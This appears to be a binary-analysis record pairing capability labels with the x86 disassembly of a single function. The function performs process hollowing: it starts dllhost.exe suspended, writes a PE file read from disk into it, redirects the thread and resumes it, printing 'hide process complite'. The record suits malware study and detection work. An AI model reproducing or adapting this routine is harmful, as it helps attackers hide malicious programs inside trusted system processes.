Function at 0x4012a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute command
Get file size
Query environment variable
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
push 0x103
lea eax, [esp + 0x34d]
mov byte [esp + 0x34c], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [esp + 0x348]
push 0x104
push eax
push str._SystemRoot_System32dllhost.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x40
lea eax, [esp + 0x38]
mov dword [esp + 0x34], 0x44
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [esp + 0x10]
xorps xmm0, xmm0
movdqu xmmword [esp + 0x10], xmm0
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [esp + 0x368]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401396
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.process_pid:
push 0x401c80
push dword [esp + 0x1c]
call fcn.00401a40
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.D:processhow.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4013b0
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x448]
xor ecx, esp
call fcn.00401caf
mov esp, ebp
pop ebp
ret 0x10
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov esi, eax
push 0x401c80
push esi
mov edx, str.file_size:
call fcn.00401a40
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov edi, eax
lea eax, [esp + 0x30]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40138a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x401440
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x448]
xor ecx, esp
call fcn.00401caf
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [edi + 0x3c]
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x18]
add esi, edi
mov dword [esp + 0x80], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x128]
add eax, 8
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x20], eax
test eax, eax
je 0x401418
push 0
push dword [esi + 0x54]
push edi
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [esp + 0x24], 0
cmp ax, word [esi + 6]
jae 0x401505
xor ebx, ebx
mov ecx, dword [edi + 0x3c]
add ecx, ebx
push 0
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [esp + 0x2c]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x24]
add ebx, 0x28
movzx eax, word [esi + 6]
inc ecx
mov dword [esp + 0x24], ecx
cmp ecx, eax
jl 0x4014c3
mov eax, dword [esi + 0x28]
add eax, dword [esp + 0x20]
push 0
mov dword [esp + 0x12c], eax
lea eax, [esi + 0x34]
push 4
push eax
mov eax, dword [esp + 0x128]
add eax, 8
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x401c80
push ecx
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.hide_process_complite
call fcn.00401a40
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call dword [sym.imp.MSVCP120.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
push str.pause
call dword [sym.imp.MSVCR120.dll_system]
mov ecx, dword [esp + 0x458]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caf
mov esp, ebp
pop ebp
ret 0x10